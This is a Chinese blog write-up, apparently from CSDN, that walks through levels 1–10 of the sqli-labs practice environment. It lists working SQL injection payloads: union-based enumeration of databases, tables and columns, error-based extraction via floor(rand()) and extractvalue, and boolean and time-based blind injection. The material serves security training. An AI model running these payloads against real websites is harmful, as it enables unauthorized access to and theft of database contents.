Sqli-labs-less1-less10

Less-1

提示使用id作为参数传入

不同的ID返回了不同的信息,可以判断传入的ID值可能参与了数据库的查询

接着判断ID是否进行了拼接,且是字符型还是数字型

可以判断存在字符型SQL注入漏洞,且存在回显,可以使用联合查询。

首先,判断该表存在多少列

?id=1' order by 3 --+

order by 4 --+ 时报错,可以判断该表总共3列,接着尝试爆出显示位

?id=-1' union select 1,2,3 --+

2,3是会显示在页面中的

查询当前使用数据库和数据库版本

select database();
select version();
?id= -1' union select 1,database(),version() --+

查询库名、表名、列名

#获取所有数据库名和表名 
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(TABLE_NAME) from information_schema.tables) --+

#获取所有列名
?id=-1' union select 1,(select group_concat(COLUMN_NAME) from information_schema.columns),3--+

Less-2

使用’进行尝试,发现报错信息只有’,判断为数字型注入。

?id=1 order by 4
#判断列数

?id=-1 union select 1,2,3
#判度哪个字段回显

?id=-1 union select 1,database(),version()
查询当前使用数据库名和数据库版本 

?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(TABLE_NAME) from information_schema.tables)
获取所有数据库名和表名

http://192.168.154.139/Less-2/?id=-1%20union%20select%201,(select%20group_concat(COLUMN_NAME)%20from%20information_schema.columns),3
获取所有列名

Less-3

使用’进行测试,发现报错信息时’‘),判断是字符型注入,使用’)进行闭合

?id=1') order by 4--+
#判断列数

?id=-1') union select 1,2,3--+
判断哪个字段回显

?id=-1') union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables) --+
获取所有库名和表名

?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns),3--+
获取所有的列名

Less-4

使用"进行测试,发现报错位置时"“),判断是字符型注入,闭合符号时”)

?id=1") order by 4--+
#判断列数

?id=-1") union select 1,2,3--+
#判断哪个字段回显

?id=-1") union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables)--+
#查询所有数据库名和表名

?id=-1") union select 1,(select group_concat(column_name) from information_schema.columns),3--+
 #查询所有列名 

Less-5

使用'进行尝试,发现报错信息,判断是字符型注入,闭合符号是',接着尝试使用联合注入。 只有报错信息可以显示,可以使用报错注入带出数据。
#获取数据库版本
?id=1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +
#获取数据库名
?id=1' and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +
#获取表名
?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +
#获取字段名
?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +

Less-6

使用"进行尝试,发现报错信息,判断是字符型注入,闭合符号是",使用联合注入无法回显,使用报错注入带出数据。
#获取数据库名
?id=1" and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) -- +
#获取表名
?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables limit 0,1),0x7e)) -- +
#获取列名
?id=1" and extractvalue(1,concat(0x7e,(select column from information_schema.columns limit 0,1),0x7e)) -- +

Less-7

使用?id=1')) -- +进行测试,发现没有报错提示,判断是字符型注入,闭合符号是')),使用报错注入和联合注入都无法回显,使用布尔盲注带出数据。
#获取数据库长度 
?id=1%27))%20and%20length(database())=8--+
#获取字符串内容
?id=1')) and ascii(substr(database(),1,1))=ascii('s') --+
详细语句可以参考: https://www.dongling.xyz/2024/01/19/sql-injection-boolean-blinds/

Less-8

使用?id=1' -- +进行测试,发现能够正常显示信息,判定是字符型注入,闭合符号是',报错注入和联合注入都无法回显,使用布尔盲注带出数据。 如何注入带出数据参考less-7

Less-9

使用',",'),")等进行尝试都显示相同的信息,这里我们使用时间盲注进行尝试’ and sleep(5) --+
#判断数据库长度
?id=1' and if(length(database())>=8,sleep(10),1)-- +

Less-10

与less-9类似,闭合符号为",
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值